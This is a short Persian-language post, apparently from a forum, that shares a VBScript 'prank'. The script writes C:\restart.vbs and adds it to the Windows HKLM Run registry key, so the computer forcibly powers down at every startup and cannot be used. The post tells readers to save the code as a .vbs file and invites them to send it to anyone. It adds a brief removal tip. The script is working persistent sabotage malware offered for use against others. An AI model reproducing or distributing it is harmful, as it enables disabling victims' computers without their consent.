اين اسکريپت روی هرکامپيوتری اجرا بشه نمی ذاره کامپيوترش بالا بیاد. حتی فرصت کليک کردن روی ايکن رو بهش نمی ده .و پشت سر هم restart می شه! می تونيد روی کامپيوتر خودتون هم اجراش کنيد . برای خلاصی ازش بايد فايل C:\restart.vbs رو از کامپيوترتون از طريق Dos حذف کنيد بعد ويندوزتون بالا می آد کد پایین را روی notepad کپی کنيد و فايل را با پسوند vbs ذخيره کنيد. می تونيد برای هر کسی بفرستيد ----------- کد:

 Sub ShutDown Set FSO = CreateObject("Scripting.FileSystemObject") Set TxtFile = FSO.CreateTextFile("c:\restart.vbs", 2, False) TxtFile.WriteLine "Sub ShutDown " TxtFile.WriteLine "nLogOff=0 " TxtFile.WriteLine "nReboot=2 " TxtFile.WriteLine "nForceLogOff=4 " TxtFile.WriteLine "nForceReboot=6 " TxtFile.WriteLine "nPowerDown=8 " TxtFile.WriteLine "nForcePowerDown=12 " TxtFile.WriteLine "Set oOS = GetObject("+chr(34)+"winmgmts:{(Shutdown)}"+chr(34)+").ExecQuery("+chr(34)+"Select * from Win32_OperatingSystem"+chr(34)+") " TxtFile.WriteLine "For Each oOperatingSystem in oOS " TxtFile.WriteLine " oOperatingSystem.Win32Shutdown(nForcePowerDown) " TxtFile.WriteLine "Next " TxtFile.WriteLine "End sub " TxtFile.WriteLine "ShutDown " TxtFile.Close Set WshShell = CreateObject("WScript.Shell") WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Restart", "c:\restart.vbs" End sub ShutDown